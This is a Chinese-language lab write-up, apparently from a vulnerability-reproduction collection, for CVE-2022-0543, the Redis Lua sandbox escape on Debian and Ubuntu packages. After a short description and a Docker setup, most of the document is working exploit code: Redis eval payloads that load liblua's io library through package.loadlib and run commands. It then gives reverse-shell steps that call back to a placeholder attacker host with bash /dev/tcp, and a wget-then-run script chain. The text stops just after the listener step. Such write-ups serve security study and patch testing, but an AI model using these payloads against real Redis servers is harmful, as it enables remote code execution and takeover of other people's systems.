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84 lines
3.0 KiB
Markdown
84 lines
3.0 KiB
Markdown
# Redis Lua 沙盒绕过命令执行 CVE-2022-0543
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## 漏洞描述
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Redis是著名的开源Key-Value数据库,其具备在沙箱中执行Lua脚本的能力。
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Debian以及Ubuntu发行版的源在打包Redis时,不慎在Lua沙箱中遗留了一个对象`package`,攻击者可以利用这个对象提供的方法加载动态链接库liblua里的函数,进而逃逸沙箱执行任意命令。
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参考链接:
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- https://www.ubercomp.com/posts/2022-01-20_redis_on_debian_rce
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- https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1005787
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## 环境搭建
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Vulhub执行如下命令启动一个使用Ubuntu源安装的Redis 5.0.7服务器:
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```
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docker-compose up -d
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```
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服务启动后,我们可以使用`redis-cli -h your-ip`连接这个redis服务器。
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## 漏洞复现
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借助Lua沙箱中遗留的变量`package`的`loadlib`函数来加载动态链接库`/usr/lib/x86_64-linux-gnu/liblua5.1.so.0`里的导出函数`luaopen_io`。在Lua中执行这个导出函数,即可获得`io`库,再使用其执行命令:
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```
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local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io");
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local io = io_l();
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local f = io.popen("id", "r");
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local res = f:read("*a");
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f:close();
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return res
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```
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值得注意的是,不同环境下的liblua库路径不同,你需要指定一个正确的路径。在我们Vulhub环境(Ubuntu fiocal)中,这个路径是`/usr/lib/x86_64-linux-gnu/liblua5.1.so.0`。
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连接redis,使用`eval`命令执行上述脚本:
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```
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eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
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```
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### 反弹shell
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直接bash反弹shell失败,尝试其他方法。
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```
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eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("bash -i >& /dev/tcp/your-ip/6666 0>&1", "r"); local res = f:read("*a"); f:close(); return res' 0
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```
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攻击端编写shell脚本并启动http服务器:
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```
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echo "bash -i >& /dev/tcp/your-ip/6666 0>&1" > shell.sh
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python3环境下:python -m http.server 80
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```
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受控端执行以下两条命令即可反弹shell:
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```
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# 上传shell.sh文件
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wget your-ip/shell.sh
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# 执行shell.sh文件
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bash shell.sh
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```
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结合当前漏洞,连接redis,使用`eval`命令执行脚本:
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```
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# 上传shell.sh文件
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eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("wget your-ip/shell.sh", "r"); local res = f:read("*a"); f:close(); return res' 0
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# 执行shell.sh文件
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eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("bash shell.sh", "r"); local res = f:read("*a"); f:close(); return res' 0
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```
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攻击端监听666端口,成功接收反弹shell:
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